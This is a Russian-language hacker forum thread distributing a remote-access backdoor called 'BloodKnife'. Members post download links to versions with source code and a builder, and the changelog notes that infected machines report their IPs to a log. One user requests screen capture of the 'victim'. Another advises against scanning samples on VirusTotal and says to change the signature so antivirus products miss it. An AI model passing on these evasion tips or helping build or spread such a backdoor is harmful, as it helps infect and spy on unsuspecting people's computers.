Backdoor N2 v.1.0. [BloodKnife]

Ky3bMu4, спалился DrWeb - DLOADER.Trojan ((

 

Вы меньше проверьте на VIRUSTOTAL_е, и все будет ништьяк !!!!
блин, ЗАПОНМИТЕ - когда вы что-то проверите, там проверяется роботом, а потом если что-то не то, или какой то антивир косяк показал, то тот сигнатура уже опубликуется и все антивирусы обнавляются (через ихний лабораториях).
и по этому через день или два - даже самый конченный антивирус будет палить !
Просто если проверяйте - потом обязательно меняйте сигнатуру и все.

 

Ky3bMu4 блин у меня похоже непошел твой трой!(версия 1.2 была!)
Хотел на себе испытать и бац комп перезагрузился!
У меня win xp sp2!

 

может кто нить обьяснит как он работает ?

 

Еще вопросы есть? А КАК именно он работает, смотри в исходниках.

 

Версия 1.4
+Добавлен отстук по стату. IP заражённых компов пишется в лог.
http://lordofring.tushino.com/BloodKnife.v.1.4.rar - c исходниками

 

Not Found
The requested URL /public_html/BloodKnife.v.1.4.rar was not found on this server.

Apache/1.3.31 Server at lordofring.tushino.com Port 80

 

public_html/ в адресе убери иполучишь что ишешь.

 

+Добавлен конфигуратор.

http://rapidshare.com/files/41581223/configur_bloodrnife.rar.html - исходники конфигуратора там же.

 

Сделай пожалуйста чтобы можно было делать скрины экрана жертвы.

 

Немного переделал...
Думаю разницу заметите как только скачаете...

_http://www.rapidshare.ru/338203
_http://slil.ru/24608784
_http://webfile.ru/1463691

 

Объясни пожалуйста как запустить этот файл? Он в формате .safe

 

Mosvit ... убери .safe =\

 

Убрал, что дальше? Я включил его, появилось какое-то окно с 3-ми полями, нажал Build появился файл Build ( я так понял это сервер) , а где клиент?

 

Кузьмич, перестань хулиганить!!! Отнимите у него ноутбук!

 

Свяжитесь со мной пожалуйста по аське по поводу этого бэкдора, что-то я ни как не могу с ним разобраться. (icq 4----0----0---7---0---4---7---0---3)